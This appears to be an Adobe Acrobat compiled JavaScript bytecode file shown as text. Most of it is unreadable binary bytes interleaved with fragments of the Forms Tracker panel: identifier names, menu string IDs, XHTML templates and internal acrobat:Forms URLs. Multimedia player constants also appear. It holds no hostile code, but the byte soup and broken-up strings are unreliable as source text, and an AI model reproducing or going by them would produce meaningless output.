�5m�:Q��=l��:Q��5m�:Q��ė���ϐ�ؐؐʐ��
ސ����䐐������ 5Q��	ؘ���Uؘ������ᘀ��֐�ϐ��0��ѐ�ݐ␐��=��=��ː�ѐ�䐈ѐ���8���ᐐ萐ː�ؐː�0wѐ�����
�pː�
ᘀ�A�㐐ʐ���ސ��ِ����pː��א�Ӑ�ԐݐӐӐ�ΐߘ��X���搐ʐ���Ր����ʐ��{�������j����搐��ː����֐��������������昀�����ѐ��ʐ���p������Ր֘����������ј���ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ����
ߐ������ː�ڐ�0Gѐ�Ɉ����
Ӑ@Θ��Ɛ��ܐܐ�㐗ѐ���ߐ���� ���3�������Ր�ݐ��Ր }e������
���ܐ��.��@���ۈؘ��ᘀ�ۈҘ������
ߘ��ԈEؘ��嘀�Ԉ ߘ���ː���� �����Ֆ������ݐ����
Ԑ�搐������ѐ�ߘ���Iؘ�������"ߘ����͐�
�x��А��
ᐈ
�
ߐ�
ހ{��
	ExtensionItemsXMLsetSettingsignoreCommentsisGroupSelectiongetSelectionGroupcurrentFormWorkflowsInFeedaFormWorkflowInfolengthArray	undefinedapp	beginPrivFormWorkflowgetFormWorkflowInfoendPrivpush
SharedFormoRecipients
nResponses
nNewResponsesbAllowAnonymous ()Title	cFileNameacrobatInbox?container=&selectFeed=URL#Guid	cFileLinkcFormWorkflowTypecDistributedOnnDistributedOncRecipientsRespondednRecipientscIveSentcIveReceivedcNoFormsInFoldercNoDistributedFormscNoReceivedForms<html xmlns="http://www.w3.org/1999/xhtml">
									    <head>
										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
									    </head>
    								
									    <body id="body">
										    *<div class="summary_page">
										    	'<span class="forms-distributed-iconic"> <span style="font-weight:bold;"></span>:
											    <br/>
											    <br/>
											    <span>
												    &#8226; 
											    </span>*
											    <br/>
										    </div>
									    </body>
								    </html><div>
											    8<div id="mainDiv" class="summary_page">
											    	�
												    <br/>
												    <br/>
													<div class="borderedDivSummaryPage" id="borderedDivID">
												    </div>
											    </div>
										    </div>'<div class="bread_crumb">
									    <ahref><span class="blueLink">cFormsSuperGroup</a> > 
								    </div>	Namespacehttp://www.w3.org/1999/xhtmlbodyidprependChilddiv
borderedDivIDL<table class="borderedTable" cellpadding="15" cellspacing="0">
									    trbgcolor
										     <th style="padding-left: 10px;">cTableHeaderFileName</th><th>cTableHeaderDistributedOn<center>cTableHeaderRespondentsAndNew	</center>cTableHeaderTotalRecipients
									    </tr>
								    </table>appendChild <td style="padding-left: 10px;"></td><td>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8loadhtmlconsoleprintlnEXCEPTION: stack������schemes$�L�	�T=Tˆ+Έ:����eNBSP_PLACEHOLDER	��l
3�
�(	GhGK��w�Q�����C�`:��dialogfeedLINK	extensionitemsgroupiaFormsWorkflowListitemdocIDformsWorkflowInfo
cSentRecvdcSentRecvdLinkcNoFormsInFeed	viewXHTMLcTopArrowXHTMLbodyxhtmlborderedDiv
tableXHTMLcurrentcurValtrav
evenOddRow	formIndexcurForm	cRowColor	formXHTMLstm	arguments�i7�(	�����Q�������Q�����5�����Q�����5�����Q�����Q;�
�YB]\�:Q������
�:)������
�=�:�����QA55	f>�����Q5mA55	�����@8Q�����#?�����QQ������A55	�
����A5;�R6	QZ\�	����Q�����KmM�����Q����������7�
����Q�
����5�����7�����Q�
����5�'����7
������;E(Q�
����5�"����7�����
T@�����Q;
�
�:Q;�
������:�����Q;
�
�:Q�����@
�A55	�
������:Q�	�����	�����
Y�
����5]������=�=�	����=�����5=�
����5�:]�
����5�����7]�����5]�����5]\8Q�L���N�����5�
����A5A5 �
����Q�����5�
����������
���������Q�����Q�����A5!�����Q=�����5�
����A5"A5#�����Q�����Q�	�����
>��=$�=%�=&�='�=(�=)��
�����=*=*=+�=,�������=-=.=/=0=1������Q\�=$�=%�=2�=(�=)��
�����=*=*=3=0=1������Q�����Q�����;u�=4�=5=6=7����������=8�=9�A5:�=*=;=<��
�����==������Q��=4�=5=6=7����������=8�=9�A5:�=*=;=<�=5=6=7����������=8�=9��
�����=*=;=<�������==������Q@�����Q;>�=?�R�����Q�����������@�KDmM�����Q������A�7=@����������Q
�L����N������B
������:Q�	�����
>�@�����Q;>�=?�R�����Q�����������C�KDmM�����Q������A�7=D����������Q
�L����N�=E�=5=F=G����������=8=H�=I�A5J�=K=H�=L�A5M�=K=N=O������Q������P
������:Q?�����Qm�	���������7�����Q�����?�����Q}m�	���������75�����53�	���������?�	���������78Q
/�����#?�����QQ������>���{�����?�����$�	���������?�����8Q�����#?�����QQ�������	�����
����B�����Q>�����QYm�	���������7�����Q����� �����Q��������������������Q�=5=F=G����������=8=H�=Q�=5=6=7�������5���=8�=9������5�=*=;=R=H�=S������5�=R=N������Q������P
������:Q�����#?�����QQ�������	�����
����;T�U
������V
�:�W
��=X�:�=Y�:�����Q������Z
�Y�����][\�:Q��v�Q;\�]
�=^��:Q;\�]
�5_�:Q��=^��:Q��5_�:Q��ė���ϐ�ؐؐʐ��
ސ����䐐������ 5Q��	ؘ���Uؘ������ᘀ�!�֐�ϐ��0�ѐ�ݐ␐��=��=��ː�ѐ�䐈ѐ���8���ᐐ�א�Ӑ�ԐݐӐߐ�����搐ʐ���Ր����ʐ�����������S�����搐��ː�����֐��������k����昀�t��ѐ��ʐ���p������Ր֘����������ј���ː�ڐ�0Gѐ�Ɉ����Ӑ@Θ����
ߐ������ː�ڐ�0Gѐ�Ɉ����
Ӑ@Θ������ܐ֐�ѐ���ߐ���� ���3����������ݐ��Ր }e������
�����.��@�����ؘ��ǘ����Ҙ������
ߘ����Eؘ��˘���� ߘ���ː���� �Y�A�s������Ӑݐ����
Ԑ�搐���ސѐ�ߘ��҈Iؘ��ߘ��҈"ߘ���͐�
�x��А��
ᐈ
�
ߐ�
ހ{��
	ExtensionItemsXMLsetSettingsignoreCommentsisGroupSelectiongetSelectionGroupcurrentFormWorkflowsInFeedaFormWorkflowInfolengthArray	undefinedapp	beginPrivFormWorkflowgetFormWorkflowInfoendPrivpushTitle	cFileNameacrobatInbox?container=&selectFeed=URL#Guid	cFileLinkcFormWorkflowTypecLastSubmittedOnnReceivedOncIveSentcIveReceivedcNoFormsInFoldercNoDistributedFormscNoReceivedForms<html xmlns="http://www.w3.org/1999/xhtml">
									    <head>
										    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
										    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
									    </head>
    								
									    <body id="body">
										    <div>
											    +<div class="summary_page">
											    	$<span class="forms-received-iconic"> <span style="font-weight:bold;"></span>=
												    <br/>
												    <br/>
												     <span>
													    &#8226; 
												    </span>,
												    <br/>
											    </div>
										    </div>
									    </body>
								    </html>7<div id="mainDiv" class="summary_page">
										    	�
											    <br/>
											    <br/>
												<div class="borderedDivSummaryPage" id="borderedDivID">
											    </div>
										    </div>'<div class="bread_crumb">
									    <ahref><span class="blueLink">cFormsSuperGroup</a> > 
								    </div>	Namespacehttp://www.w3.org/1999/xhtmlbodyidprependChilddiv
borderedDivIDL<table class="borderedTable" cellpadding="15" cellspacing="0">
									    trbgcolor
										     <th style="padding-left: 10px;">cTableHeaderFileName</th><th>cTableHeaderLastSubmittedOn
									    </tr>
								    </table>appendChild <td style="padding-left: 10px;"></td><td>utilstreamFromStringtoXMLStringreplace&nbsp;utf-8loadhtmlconsoleprintlnEXCEPTION: stack������schemes,�T=Tˆ+Έ:����eNBSP_PLACEHOLDER��	sd3��rG�GK�Q�������+dialogfeed�7f9��T5�
����A�
�T�T�:QA�
�T�T�:Q~�vWQ;�
�=V�:Q;�
�V5�:Q��=V�:Q��V5�:Q�������ڐ���x��ʐ��
ې�
ڐ�
ِ�
؀{��
URLshowMyFormsFeedViewshowSubmittedFormsFeedViewconsoleprintlnEXCEPTION: stack����eK������4dialog
myFormsURNfeed�9+<�	=WQ�T�
�:A�
�T�:QST�
�:DQT�
�:,T�
�:WQA�
�T�V�:Q~�vWQ;�
�=	V�:Q;�
�V5
�:Q��=	V�:Q��V5
�:Q��ɐ������֐���Ґ��x���ʐ��
ې�
ڐ�
ِ�
؀{��
;urn://ns.adobe.com/Acrobat/Tracker/FormsTracker/MyForms.rssisItemSelectionshowItemViewisFeedSelectionisGroupSelectiongetFeedshowFeedViewconsoleprintlnEXCEPTION: stack����e
|�������"dialogurlparamsiaZ<>�T�
�=�:>�T�
�=�:?7�
�=�:WQVKxmMWQVV7�
�=�:WQV>7x=y
zA;�
�YC]	9
�
�V?7�:]\�:Q�L����N�����5{ː�ܐeL��mʐ�
��Pΐ�indexOfacrobat:internal?split?&=mailtoappmailMsgbUIunescapecToP{�������G	selectionresultlBIGM�;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QVV�YC]\8QVV�Y=];5
]�]T5]\8QV�ΐ��ː�ʐϐʘ��Z͘��`�ː�ʐϐʘ��i͘��o�ِ��ː�ʐϐʘ��yА����ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE
bSeparatorRemoveIDS_REVIEW_PANEL_REMOVE_FOLDERgroup������	selectiondocAC�CU��6�����:Q��	ψ������	selectiondoc�CDZ��7�����T55�:��	݈5feedURL������	selectiondoc�DEd��8�����:Q��	ψ������	selectiondoc6E�Ei��9�����T55�:��	݈7feedURL�����%�	selectiondoc�F�Fu��1�����T55�A5�:Q��	�9feedURLgroup������	selectionhG�G�T55��Έ"feedDescription�������	selectionbIsInitiatedformWorkflowTypeitemtitle�GjI��	T55�����7WQV������=�:������=�:WQT5WQV5WQV�
��V�:��ې����̐�̐�و2item	Extension%IDS_FORMS_TRACKER_DISTRIBUTED_FORM_OF"IDS_FORMS_TRACKER_RECEIVED_FORM_OFTitlereplace{title}�����_�	selectionbIsInitiated�I�J��T55�
����CBWQV������=�:������=�:���А���ڐ��Ո=feedURLIDS_FORMS_TRACKER_MY_FORMS_DESC(IDS_FORMS_TRACKER_PARTICIPANT_FORMS_DESC�������C	selectionresult�J�O��;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QVV�YC]\8QVV�Y=];5
]�]\8QV�ΐ��ː�ʐϐʘ���͘����ː�ʐϐʘ���͘����ِ��ː�ʐϐ͘��ˈ�ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE
bSeparatorCreateNewFolder"IDS_REVIEW_PANEL_CREATE_NEW_FOLDER������	selectiondoc�KL���6�����:Q��	ψ������	selectiondoc-L�L���7�����T55�:��	݈5feedURL������	selectiondoc<M�M���8�����:Q��	ψ������	selectiondoc�MN���9�����T55�:��	݈7feedURL�����%�
	selectiondocurlO�OĉT55WQ�/�����V�:Q�ѐ�	ӈfeedURL�����>�u3	selectionresult
sendToMenufoldersiorigFolderNameP�\Ή;�RWQVV�Y=];5]�]\8QVV�YC]\8QVV�Y=	];5
]ZY=];5]�]\`YC]\`\]
\8QVV�?75
WQ;�
�:Q;�
�T>755�:WQ;�
�:QVK�mMWQVV7WQ;5=DQ;5=0VVVV7�
�=�=�:8Qf;5=QVVVV7�
�=�=�:8QVVVV7�
�=�=�:8QVV�YV]VV7]�]\8Q�L���NV�ΐ��ː�ʐϐ͘����ِ��ː�ʐϐ���ʐϐϘ���Ԙ��א�ѐ䐈ѐ�5�ː�ː��+���됐����搈搐��ː�Ȑ̐֘��G��ArraylengthRemovecNameAnnotsString)IDS_REVIEW_PANEL_REMOVE_MULTIPLE_SELECTEDcDisplayName	onExecute
bSeparatorMoveToFolderIDS_REVIEW_PANEL_MOVE_TO_FOLDERNoneIDS_REVIEW_PANEL_FOLDER_NONEoSubMenuapp	beginPrivFormWorkflowgetFormWorkflowFoldersfeedURLendPrivplatformWINMACreplace&&&UNIX___�������S	selectiondocbIsInitiatedbHasEBFitypeitem	extensionformType�P�S։T>755�
����CBWQBWQV�>WQumTV75WQV=JTV75WQV5WQV�����7WQV=CWQ$V#?WQQ�VT������3�����VE
QV �:Q��А�������$ui���������А����А̐ѐ����
�@���߈,̘��똀�߈Ә���Ԉ,Ɉ
feedURLtypeitem	Extension
SharedFormlength@��������@	selectiondocformIDsitypeitem	extensionformID'UW�;�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������4�����T>755�V�=�:Q�ΐ��$ma{���	����А����А̐ѐ�
И���-̘��
����Ә����BArraytypeitem	ExtensionlengthfeedURL{�������@	selectiondocformIDsitypeitem	extensionformID�Z�\1�;�RWQ>WQmmTV75WQV=BTV75WQV5WQV�����7WQVV�V8QV#?WQQ�VT������4�����T>755�V�A5�:Q�ΐ��$ma{������6�А����А̐ѐ�	И��5�,̘��>���5�Ә��B��JArraytypeitem	ExtensionlengthfeedURLcName{7�����I�4a�	selectionresult
sendToMenufoldersiorigFolderName�\,�J�;�RWQVV�Y=];5]�]\8QVV�YC]\8Q;	5
�
��: �VV�Y=]������=
�:]�]�]\8Q;	�
�:QVV�?7;	�
�VV�?75�:6Q;	�
�:QVV�Y=]������=�:]�]�]\8QVV�Y=]������=�:]�]�]\8QVV�YC]\8QVV�Y=]������=�:]�]�]\8QVV�Y=]������=�:]�	]�
]\8QVV�Y=]������=�:]�]�]\8Q;	�
�:QVV�?7;	�
�VV�?75�:6Q;	�
�:QVV�Y=]������=�:]�
]�]\8Q;	�
�:QVV�?7;	�
�VV�?75�:6Q;	�
�:QVV�YC]\8Q;	5
�
��: TVV�Y=];5]�]\8QVV�YC]\8QVV�Y= ];5!]�]\8QVV�Y="];5#]ZY=$];5%]�]\`YC]\`\]&\8QVV�?75&WQ;	�
�:Q;'�(
�T5)5*�:WQ;	�
�:QVK�mMWQVV7WQ;	5+=,DQ;	5+=-0VVVV7�.
�=/�=0�:8Qf;	5+=1QVVVV7�.
�=/�=2�:8QVVVV7�.
�=2�=3�:8QVV�YV]VV7]�]\8Q�L���NV�ΐ���ː�ʐϐ͘��Z�ِ���
����ː�ʐِʘ��i͘����ѐ����ј����ː�ʐِʘ���͘����ː�ʐِʘ���͘����ِ���ː�ʐِʘ���͘��ňː�ʐِʘ���͘��׈ː�ʐِʘ���͘����ѐ����ѐ���ː�ʐِʘ��
͘���ѐ����ѐ���ِ�������ː�ʐϐ͘��1�ِ���ː�ʐϐ͘��?�ː�ʐϐ���ʐϐϘ��P�Ԙ��Vא�ѐ␈ѐ�5�ː�ː��+���됐����搈搐��ː�Ȑ̐֘��x��ArraylengthOpenFormcNameAnnotsStringIDS_ATTACHLAUNCH_OPENcDisplayName	onExecute
bSeparatorapp
viewerTypematchEndDataCollection*IDS_FORMS_TRACKER_END_DATA_COLLECTION_MENU	onEnabled	beginPrivtrustedFunctionendPrivRemoveResponses'IDS_FORMS_TRACKER_REMOVE_RESPONSES_MENU
RemoveForm"IDS_FORMS_TRACKER_REMOVE_FORM_MENUEmailInitiator&IDS_FORMS_TRACKER_EMAIL_INITIATOR_MENUEmailReviewers IDS_FORMS_TRACKER_EMAIL_ALL_MENUInviteIDS_FORMS_TRACKER_INVITE_MENUEmailNonRespondents,IDS_FORMS_TRACKER_EMAIL_NON_RESPONDENTS_MENUConvertToPDF0IDS_REVIEW_PANEL_CREATE_PDF_FROM_TRACKER_DETAILSCreateNewFolder"IDS_REVIEW_PANEL_CREATE_NEW_FOLDERMoveToFolderIDS_REVIEW_PANEL_MOVE_TO_FOLDERNoneIDS_REVIEW_PANEL_FOLDER_NONEoSubMenuFormWorkflowgetFormWorkflowFoldersfeedURLplatformWINMACreplace&&&UNIX___����� �	selection�]!^S�;�
�T55�:Q��	߈#app	launchURLitemLink�����F�	selectiondocdocID�_�`c�T55�����7WQV'= ;�
�=V�:Q�ې�
���ۈ<item	Extension	undefinedapp	launchURL"acrobat:Forms?action=end&workflow=�������
7	selectionbIsInitiatedformType
bIsSharedFormdocIDformsWorkflowInfocFormWorkflowStatecFormWorkflowsFileStatebDataCollectionEnded�`�di�
T55�����7WQV BT55�����7WQV=WQV BT55�����7WQ;�
�:Q;�
�V�:WQ;�
�:QV5WQV5	WQV�)����DQV�)����WQV ��ې�
�����ې͐�
�����ې��ѐؐ�
ѐ�̐̐�䐈��item	Extension
SharedFormapp	beginPrivFormWorkflowgetFormWorkflowInfoendPrivcStatecStateAsPerWorkflowsFile�����F�	selectiondocdocID)f�f��T55�����7WQV'= ;�
�=V�:Q�ې����
ۈ?item	Extension	undefinedapp	launchURL%acrobat:Forms?action=delete&workflow=����� �
	selectionisInitiatedg�g��T55�����7WQV��ې�	�item	Extension�����F�	selectiondocdocID�h�i��T55�����7WQV'= ;�
�=V�:Q�ې�
���ۈCitem	Extension	undefinedapp	launchURL)acrobat:Forms?action=removeForm&workflow=�����!�	selectionisInitiated�iRj��T55�����7WQV ��ې�	��
item	Extension�����F�	selectiondocdocID{kZl��T55�����7WQV'= ;�
�=V�:Q�ې�
���ۈGitem	Extension	undefinedapp	launchURL-acrobat:Forms?action=emailInitiator&workflow=�����1�	selectiondocisInitiatedxl)m��T55�����7WQV'=D
QV �ې�	�Ј%�item	Extension	undefined�����F�	selectiondocdocIDn�nɊT55�����7WQV'= ;�
�=V�:Q�ې�
���ۈAitem	Extension	undefinedapp	launchURL'acrobat:Forms?action=emailAll&workflow=����� �		selectiondocisInitiated�n�oϊT55�����7WQV�ې�	�item	Extension�����F�	selectiondocdocIDPp'qۊT55�����7WQV'= ;�
�=V�:Q�ې�
���ۈ?item	Extension	undefinedapp	launchURL%acrobat:Forms?action=invite&workflow=�����	�	A	selectiondocisInitiatedformType
bIsSharedFormcFormWorkflowIDformsWorkflowInfocDistributionMethodcFormWorkflowStatecFormWorkflowsFileStatebDataCollectionEndedEqLu�T55�����7WQV BT55�����7WQV=WQV CT55�����7WQ;�
�:Q;�
�V�:WQ;�
�:QV5WQV=	BV5
WQV5WQV�)����DQV�)����CBWQV �ې���
��ې͐���
��ې��ѐؐ�ѐ�̐���
��̐̐��А����item	Extension
SharedFormapp	beginPrivFormWorkflowgetFormWorkflowInfoendPrivcDistributionMethodManualcStatecStateAsPerWorkflowsFile�����F�	selectiondocdocID�v�w�T55�����7WQV'= ;�
�=V�:Q�ې�
���ۈLitem	Extension	undefinedapp	launchURL2acrobat:Forms?action=emailNonRespondents&workflow=�������"	selectiondocisInitiatedcFormWorkflowIDformsWorkflowInfo�w�y
�T55�����7WQV BT55�����7WQ;�
�:Q;�
�V�:WQ;�
�:QV5 �ې���
��ې��ѐؐ�ѐ���ʈ%item	Extensionapp	beginPrivFormWorkflowgetFormWorkflowInfoendPrivbAllowAnonymous������	selection�{�{*�;�
�=�:Q��׈-app	launchURLacrobat:Review?convertToPDF�����%�
	selectiondocurl�|r}8�T55WQ�/�����V�:Q�ѐ�	ӈfeedURL�����C�	selectiondocext�~�H�T55WQ�0�����T55�V�����7�=�:Q�ѐ����@item	ExtensionfeedURL�����W�
	selectiondocitemfeedext���m�T5WQT5WQV5WQ�0�����T55�V�����7�A5�:Q�̐̐̐���Hitemfeed	ExtensionURLcNameReaderReaderB������[�n�{�Cˆ.������'�	driverURL����}�T=DQT=CB��������
5urn://ns.adobe.com/Acrobat/Tracker/UI/FormsSuperGroup2urn://ns.adobe.com/Acrobat/Tracker/UI/FormsTracker������	selection�����B���
������	selection!�K���B���
������	selectionm�����C����������#	selectionfeeddocIDisInitiated������T5WQT55�����7WQT55�����7WQV4V'= ;�
�=V�:Q/V'= ;�
�=V�:Q�̐ېې/������	�������	ۈCfeeditem	Extension	undefinedapp	launchURL%acrobat:Forms?action=delete&workflow=)acrobat:Forms?action=removeForm&workflow=������	selection����C���������	selection>������5�����T5�:��؈Aitem�������V	selectionaFeedURLbIsInitiatedbHasEBFitypeitem	extensionformTypeʉƌ��
T>755�
��:WQV>7�
����CBWQBWQV�>WQumTV75WQV=JTV75WQV5WQV�����7WQV=CWQ$V#?WQQ�VT������3�����VE
QV �:����А�������	$ui����������А����А̐ѐ�����@�����*̘��Ƙ����Ә��̈Ԉ3Ɉ
feedURLsplittypeitem	Extension
SharedFormlength#Z�������	selection��ϋC��������M�	selectionurlgroup=�L�ԋT55WQT5WQV'=#�1�����V�V�:QCB�ѐ̐��
����א������
feedURLgroup	undefined������	selection����C��������M�	selectionurlgroupێݏ�T55WQT5WQV'=#�2�����V�V�:QCB�ѐ̐������א������
feedURLgroup	undefined�������*���C���������	selectionsrcdstO�����C��������D�C	selectionsrcdstitemfeedextfoldersi	newFolderj��ѓ��T5WQT5WQV5WQ;�
�:Q;�
�V5�:WQ;�
�:QT�	>EQT�	>5;�

�V5�V�����7�=�:QTK�mMWQ@WQVK*mMWQTV7VV7VV7WQ�L����NV@6;�

�V5�V�����7�V�:Q
�L���N�̐̐̐��ѐݐ�ѐ��������5��ː��5-ː����
Ԑ��
���	�@Έitemfeed	Extensionapp	beginPrivFormWorkflowgetFormWorkflowFoldersURLendPrivlengthsetFormWorkflowFolder���-�������1result=�ߟ%�Y������=�:]������=�:]������=�:]�]�]Y=]	ZY=
]=]
=]ZY=]=]\`\]\`\]\]\WQV����ِِِ�ʘ��3ʘ��f�ʐ���ʐʐʐ���ʐ똀�z��IDS_FORMS_TRACKER_MY_FORMScIveSent#IDS_FORMS_TRACKER_PARTICIPANT_FORMScIveReceived
IDS_FULL_NAMEcFormsSuperGrouponSelectionChanged
showEmptyViewPanelnameviewtypealign_centeralignfillalign_children	html_viewhtmlitem_idelementsdescription������dialogf���.�A�
�T�:Q��	ш
showEmptyView�����]�0U dialogLINKisReadercVisibleMyForms	viewXHTMLstm֖ם3���WQ;�
�YB]\�:Q;5=WQV=
=WQ�=�=	�=
�A5�==
�=�=�=�A5�===�=�===��V���==�===����������=�=�A5�====�= �===���
�������=�=�A5!�===="=#=$=%�WQ;&�'
�V�(
�:�=)�:WQT�*
�YV]+\�:Q~�vWQ;,�-
�=.V�:Q;,�-
�V5/�:Q��=.V�:Q��V5/�:Q����ɐ��
ސ�Ԑ��
ؐ�����E����Ȑ͐��㐐������А���ː�鐈
�x��ʐ��
ې�
ڐ�
ِ�
؀{��
XMLsetSettingsignoreCommentsapp
viewerTypeReaderdisplay:none<html xmlns="http://www.w3.org/1999/xhtml">
								    <head>
									    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
									    <link href="AdobeTracker/main.css" rel="stylesheet" type="text/css"/>
								    </head>
    							
								    <body>
									    (<div class="bread_crumb">
										    cFormsSuperGroup &gt;
									    </div>
    									
									    -<div class="super_group_page">
									    	!<span class="forms-super-iconic"> <span style="font-weight:bold;"></span>7
										    <br/>
										    <br/>
										    -<p style="line-height:25px;">
											    <spanstyle>&#8226; ahref<span class="blueLink">cIveSent</a>
 <br/></span>
											    <span>&#8226; cIveReceived
										    </p>
									    </div>
								    </body>
							    </html>utilstreamFromStringtoXMLStringutf-8loadhtmlconsoleprintlnEXCEPTION: stack������schemes"�J�7�T=Tˆ+Έ:����e��������0
	selectionresult���}�;�RWQVV�Y=];5]�]�]\8QVV�Y=	];5
]�]�]\8QV�ΐ��ː�ʐϐʘ���͘����ː�ʐϐʘ���͘�����ArraylengthExpandcNameAnnotsStringIDS_PANEL_EXPANDcDisplayName	onExecute	onEnabledCollapseIDS_PANEL_COLLAPSE������	selectiondoc�:����6�����:Q��	ψ������	selectiondocb�ȡ���7�����T55�:��	݈5feedURL������	selectiondocq������8�����:Q��	ψ������	selectiondoc�M����9�����T55�:��	݈7feedURL������	selection������Bˆ+�
������	selection�����Bˆ+�
����eH����InitializeMultimediaJS�
��:T�2���Ό�;5�6Q;5B6Q;5Y?]�]�]�]�]	�]
\6Q;5Y?]�]
�]\6Q;5Y?]�]�]�]�]�]�]\6Q;5Y?]�]�]�]�]�]�]�]�	] \6Q;5Y?]"�]#�]$\6!Q;5Y?]&�]'�](�])\6%Q;5Y?]+�],�]-\6*Q;5C6.Q;5Y>]0?]�]1\6/Q;5Y?]3�]4�]5�]6�]7�]8\62Q;5Y?]:�];�]<�]=�]>�]?�]@�]A�	]B�
]C�]D\69Q;5Y>]F?]G�]H�]I�]J�]K�]L�]M�]N\6EQ;5Y�
]P\6OQ;5Y�]R�]S\6QQ;5YC]UC]VC]WC]X\6TQ;5�6YQ;5�6ZQ;5�6[Q;5�6\Q;55\Y�]^�]_�]`�]a�]b�	]c�
]d�]e�]f�
]g\6]Q;55h�6iQ;55h�6jQ;5�6kQ;55kY�]l�]m\6]Q;�6nQ;5nY�]3�]o�]p�]q�]�]r�](�]�]�]s�]t�]� ]�!]u�"]�#]\6]Q;5�$6vQ;55vY�%]3�&]o�']p\6]Q;5�(6wQ;55wY�)]x�*]y\6]Q;5�+6zQ;5�,6{Q;5�-6|Q;5�.6}Q;5�/6~Q;5�06Q;55h�16�Q;5�26�Q;5�36�Q;5�46�Q;5�56�Q;5�66�Q;5�76�Q;5�86�Q;55h�96YQ;55h�:6�Q;5�;6�Q;5�<6�Q;55�Y�=]�\6]Q;���
�;55h�=��YY�>]�\]�B]�C]�B]�\�:Q;55h�?6�Q;55h�@6�Q;55h�A6�Q;55h�B6�Q;55h�C6Q;55h�D6�Q;55h�E6�Q;55h�F6�Q;55h�G6�Q;55hZ
<`>`<`?`>`<`?`>`<`?`	\6�Q;55hZ
<`>`>`>`<`<`<`?`?`?`	\6�Q;55h�H6�Q;55h�I6�Q;55h�J6�Q;55h�K6�Q;55h�L6�Q;55h�M6�Q;55h�N6�Q;55h�O6�Q;55h�P6�Q;55h�Q6�Q;55h�R6�Q;55h=�6�Q2�SvWQ;���
�V5��:Q������ՈҘ��ۈј���ʐ������Θ����ʐ���Θ���ʐ�������Θ���ʐ���������Θ��%�ʐ���Θ��0�ʐ����Θ��<�ʐ���Θ��G�ј��L�ʐ���Θ��W�ʐ������Θ��e�ʐ�����������Θ��x�ʐ���������Θ����ʐ�Θ����ʐ��Θ����ʐ����͘����՘��҈՘����՘��-՘��6�ϐ���Bʘ��Nʘ��Wʘ��~ʘ���ʘ���ʘ���ʘ���ʘ��ʘ��&ј��C�ژ��[�ژ����՘����ϐ����ʘ���ј��݈И���ʐ����ʘ���ʘ���ʘ��ʘ��:ʘ��Hʘ��dʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ʘ���ј���՘���ϐ����ʘ��ʘ��ј��9�՘��>�ϐ���Dʘ��iј����՘����՘��ƈ՘��ۈ՘���՘���՘��.�ژ��<�՘��]�՘����՘���՘��K�՘����՘����՘��̈ژ���ژ��<�՘��e�՘��j�ϐ��ј����萕�И�����̘��Ȉژ��؈ژ��ވژ���ژ����ژ���ژ���ژ��&�ژ��9�ژ��N��ݐ��ݘ��U�ژ��c�ژ��q�ژ��}�ژ����ژ����ژ����ژ����ژ����ژ��҈ژ��ڈژ����x����ʐ��ڀ{��appmediaversiontracelayoutmeetslicefillscrollhiddenstandard
windowTypedockedfloating
fullScreenmonitorTypedocumentnonDocumentprimary	bestColorlargesttallestwidestaligntopLeft	topCentertopRight
centerLeftcentercenterRight
bottomLeftbottomCenterbottomRight	canResizeno	keepRatioyesover
pageWindow	appWindowdesktopmonitorifOffScreenallow
forceOnScreencanceldefaultVisible
renditionTypeunknownselectorstatusclearmessage
contacting	bufferinginitseekingcloseReasongeneralerrordonestopplay	uiGeneraluiScreenuiEditdocClosedocSave	docChangeopenCodesuccessfailGeneralfailSecurityWindowfailPlayerMixedfailPlayerSecurityPromptfailPlayerNotFoundfailPlayerMimeTypefailPlayerSecurityfailPlayerDataraiseSystem	fileError	raiseCodefileNotFoundfileOpenFailedpageEventNamesOpenCloseInViewOutViewcreatePlayer
openPlayerstartPlayerEvents	prototypeaddremove
privAddRemoveprivAdd
privRemoveprivSetDispatchprivDispatchprivCleanupprivDispatchNowprivCallMethodspriv	postEventdispatchPostedEventsMarkersgetprivFindMonitorspushselectfilterbestFitleastOverlapmostOverlap	secondaryPlayersMediaPlayeropenprivOnClosecanPlayOrAlertgetRenditionSettingsgetFirstRenditiongetURLSettingsgetAltTextSettingsaddStockEventsAddStockEventsHelperremoveStockEventscomputeFloatWinRectgetPlayerStockEventsgetPlayerTraceEventsgetAnnotStockEventsgetAnnotTraceEventsargsDWIMcomputeDefaultWindowTypealertAlerterdispatchObjectdefineProperty
docMediaProtogetOpenPlayersvaluewritable
enumerableconfigurable
dumpObject	dumpNames
dumpValues	dumpArraystopAnnotPlayerpauseAnnotPlayerresumeAnnotPlayer	copyProps	xPosTable	yPosTable	rectAlignrectAnchorPtrectArearectGrow
rectIntersectrectIntersectArearectIsEmptyrectCopy	rectUnion	getStringvalueOraltTextPlayerIDvnd.adobe.swname:ADBE_AltTextconsoleprintln
extMessage�������args������;55�
�;5�
�T�:�:M�vWQ;5�
�=�T�YV]\�:Q@���������x��ʐ��z�{��appmediaprivcreatePlayerargsDWIMalert	Exceptionerror����e:�����'�>argsplayerresultr�/�ҍ@WQ�;5�
�T�:UQ;5�
�T�:WQV�V�
�:WQV5;555C@WQ;5�
�=	�T�YV5]\�:Q!V5
V�
�:QL�vWQ@WQ;5�
�=�T�YV]
\�:Q�V������ݐ��ݐ��Ґ�>������������x���ʐ�����{�����appmediaargsDWIMcreatePlayeropencodeopenCodesuccessalertOpenvisiblesetFocus	Exceptionerror����e��������.argsplayer&������;5�
�T�:UQT5EQT55WQVEQV5V�
�:Q";5�
�T�:WQVM�vWQ;5�
�=	�T�YV]
\�:Q@��������ݐ�ߐ���Ԑ��ݐ��|��ʐ��z�{��appmediaargsDWIMannotplayerisOpenplay
openPlayeralert	Exceptionerror����e������@��	arguments*�k�-�	WQAY\6QA>6QAY\6QA�
